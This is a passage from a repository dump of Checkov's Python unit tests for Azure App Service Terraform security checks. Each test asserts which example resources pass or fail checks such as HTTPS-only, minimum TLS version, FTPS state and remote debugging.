    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServiceDetailedErrorMessagesEnabled import check\n\n\nclass TestAppServiceClientCertificate(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceDetailedErrorMessagesEnabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_service.pass',\n            'azurerm_app_service.pass2',\n            'azurerm_windows_web_app.pass',\n            'azurerm_linux_web_app.pass',\n        }\n        failing_resources = {\n            'azurerm_app_service.fail',\n            'azurerm_app_service.fail2',\n            'azurerm_app_service.fail3',\n            'azurerm_windows_web_app.fail',\n            'azurerm_linux_web_app.fail',\n            'azurerm_windows_web_app.fail2',\n            'azurerm_linux_web_app.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceDisallowedCORS.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServiceDisallowCORS import check\n\n\nclass TestAppServiceClientCertificate(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceDisallowCORS\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_service.pass',\n            'azurerm_app_service.pass2',\n            'azurerm_windows_web_app.pass',\n            'azurerm_linux_web_app.pass',\n            'azurerm_windows_web_app.pass2',\n            'azurerm_linux_web_app.pass2',\n        }\n        failing_resources = {\n            'azurerm_app_service.fail',\n            'azurerm_windows_web_app.fail',\n            'azurerm_linux_web_app.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceDotnetFrameworkVersion.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServiceDotnetFrameworkVersion import check\n\n\nclass TestAppServiceDotnetFrameworkVersion(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceDotnetFrameworkVersion\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_service.pass',    # v8.0\n            'azurerm_app_service.pass2',   # v9.0\n            'azurerm_app_service.pass3',   # v10.0\n            'azurerm_windows_web_app.pass',   # v8.0\n            'azurerm_windows_web_app.pass2',  # v9.0\n            'azurerm_windows_web_app.pass3',  # v10.0\n        }\n        failing_resources = {\n            'azurerm_app_service.fail',    # v5.0 EOL\n            'azurerm_app_service.fail2',   # v6.0 EOL\n            'azurerm_windows_web_app.fail',   # v2.0 EOL\n            'azurerm_windows_web_app.fail2',  # v6.0 EOL\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceEnableFailedRequest.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServiceEnableFailedRequest import check\n\n\nclass TestAppServiceClientCertificate(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceEnableFailedRequest\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_service.pass',\n            'azurerm_windows_web_app.pass',\n            'azurerm_linux_web_app.pass',\n        }\n        failing_resources = {\n            'azurerm_app_service.fail',\n            'azurerm_app_service.fail2',\n            'azurerm_app_service.fail3',\n            'azurerm_windows_web_app.fail',\n            'azurerm_linux_web_app.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceEnvironmentZoneRedundant.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.AppServiceEnvironmentZoneRedundant import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAppServiceEnvironmentZoneRedundant(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppServiceEnvironmentZoneRedundant\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_app_service_environment_v3.pass\",\n        }\n        failing_resources = {\n            \"azurerm_app_service_environment_v3.fail1\",\n            \"azurerm_app_service_environment_v3.fail2\",\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceFTPSState.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServiceFTPSState import check\n\n\nclass TestAppServiceClientCertificate(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceFTPSState\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_service.pass',\n            'azurerm_app_service.pass2',\n            'azurerm_windows_web_app.pass',\n            'azurerm_linux_web_app.pass',\n        }\n        failing_resources = {\n            'azurerm_app_service.fail',\n            'azurerm_app_service.fail2',\n            'azurerm_windows_web_app.fail',\n            'azurerm_linux_web_app.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceHTTPSOnly.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServiceHTTPSOnly import check\n\n\nclass TestAppServiceHTTPSOnly(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceHTTPSOnly\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_service.pass',\n            'azurerm_windows_web_app.pass',\n            'azurerm_linux_web_app.pass',\n        }\n        failing_resources = {\n            'azurerm_app_service.fail',\n            'azurerm_windows_web_app.fail',\n            'azurerm_linux_web_app.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceHttpLoggingEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServiceHttpLoggingEnabled import check\n\n\nclass TestAppServiceHttpLoggingEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceHttpLoggingEnabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_service.pass',\n            'azurerm_app_service.pass2',\n            'azurerm_app_service.pass3',\n            'azurerm_windows_web_app.pass',\n            'azurerm_linux_web_app.pass',\n        }\n        failing_resources = {\n            'azurerm_app_service.fail',\n            'azurerm_app_service.fail2',\n            'azurerm_windows_web_app.fail',\n            'azurerm_linux_web_app.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceHttps20Enabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServiceHttps20Enabled import check\n\n\nclass TestAppServiceHttps20Enabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceHttps20Enabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_service.pass',\n            'azurerm_windows_web_app.pass',\n            'azurerm_linux_web_app.pass',\n        }\n        failing_resources = {\n            'azurerm_app_service.fail',\n            'azurerm_windows_web_app.fail',\n            'azurerm_linux_web_app.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceIdentity.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServiceIdentity import check\n\n\nclass TestAppServiceIdentity(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceIdentity\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_service.pass',\n            'azurerm_windows_web_app.pass',\n            'azurerm_linux_web_app.pass',\n        }\n        failing_resources = {\n            'azurerm_app_service.fail',\n            'azurerm_windows_web_app.fail',\n            'azurerm_linux_web_app.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceIdentityProviderEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServiceIdentityProviderEnabled import check\n\n\nclass TestAppServiceIdentityProviderEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceIdentityProviderEnabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_service.pass',\n            'azurerm_windows_web_app.pass',\n            'azurerm_linux_web_app.pass',\n        }\n        failing_resources = {\n            'azurerm_app_service.fail',\n            'azurerm_windows_web_app.fail',\n            'azurerm_linux_web_app.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceInstanceMinimum.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServiceInstanceMinimum import check\n\n\nclass TestAppServiceInstanceMinimum(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceInstanceMinimum\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_service_plan.pass',\n        }\n        failing_resources = {\n            'azurerm_service_plan.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceJavaVersion.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServiceJavaVersion import check\n\n\nclass TestAppServiceJavaVersion(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceJavaVersion\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_service.pass',\n        }\n        failing_resources = {\n            'azurerm_app_service.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceMinTLSVersion.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServiceMinTLSVersion import check\n\n\nclass TestAppServiceMinTLSVersion(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceMinTLSVersion\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_service.pass',\n            'azurerm_windows_web_app.pass',\n            'azurerm_windows_web_app.pass_tls13',\n            'azurerm_linux_web_app.pass',\n            'azurerm_linux_web_app.pass_tls13',\n            'azurerm_linux_web_app.pass_tfvar',\n            'azurerm_linux_web_app.pass_tfvar2',\n        }\n        failing_resources = {\n            'azurerm_app_service.fail',\n            'azurerm_windows_web_app.fail',\n            'azurerm_linux_web_app.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServicePHPVersion.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServicePHPVersion import check\n\n\nclass TestAppServicePHPVersion(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServicePHPVersion\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_service.pass',\n        }\n        failing_resources = {\n            'azurerm_app_service.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServicePlanZoneRedundant.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServicePlanZoneRedundant import check\n\n\nclass AppServicePlanZoneRedundant(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServicePlanZoneRedundant\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_service_plan.pass',\n        }\n        failing_resources = {\n            'azurerm_service_plan.fail1',\n            'azurerm_service_plan.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServicePublicAccessDisabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.AppServicePublicAccessDisabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAppServicePublicAccessDisabled(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppServicePublicAccessDisabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_linux_web_app.disabled\",\n            \"azurerm_windows_web_app.disabled\",\n        }\n\n        failing_resources = {\n            \"azurerm_linux_web_app.default\",\n            \"azurerm_windows_web_app.default\",\n            \"azurerm_linux_web_app.enabled\",\n            \"azurerm_windows_web_app.enabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServicePythonVersion.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServicePythonVersion import check\n\n\nclass TestAppServicePythonVersion(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServicePythonVersion\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_service.pass',\n        }\n        failing_resources = {\n            'azurerm_app_service.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceRemoteDebuggingNotEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServiceRemoteDebuggingNotEnabled import check\n\n\nclass TestAppServiceRemoteDebuggingNotEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceRemoteDebuggingNotEnabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_service.pass',\n            'azurerm_windows_web_app.pass',\n            'azurerm_linux_web_app.pass',\n            'azurerm_linux_function_app.pass',\n            'azurerm_linux_function_app_slot.pass',\n            'azurerm_linux_web_app_slot.pass',\n            'azurerm_windows_function_app.pass',\n            'azurerm_windows_function_app_slot.pass',\n            'azurerm_windows_web_app_slot.pass',\n            'azurerm_app_service.pass2',\n            'azurerm_windows_web_app.pass2',\n            'azurerm_linux_web_app.pass2',\n            'azurerm_linux_function_app.pass2',\n            'azurerm_linux_function_app_slot.pass2',\n            'azurerm_linux_web_app_slot.pass2',\n            'azurerm_windows_function_app.pass2',\n            'azurerm_windows_function_app_slot.pass2',\n            'azurerm_windows_web_app_slot.pass2',\n        }\n        failing_resources = {\n            'azurerm_app_service.fail',\n            'azurerm_windows_web_app.fail',\n            'azurerm_linux_web_app.fail',\n            'azurerm_linux_function_app.fail',\n            'azurerm_linux_function_app_slot.fail',\n            'azurerm_linux_web_app_slot.fail',\n            'azurerm_windows_function_app.fail',\n            'azurerm_windows_function_app_slot.fail',\n            'azurerm_windows_web_app_slot.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceSetHealthCheck.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServiceSetHealthCheck import check\n\n\nclass TestAppServiceSetHealthCheck(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceSetHealthCheck\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_service.pass',\n            'azurerm_windows_web_app.pass',\n            'azurerm_linux_web_app.pass',\n        }\n        failing_resources = {\n            'azurerm_app_service.fail',\n            'azurerm_windows_web_app.fail',\n            'azurerm_linux_web_app.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceSkuMinimum.py",
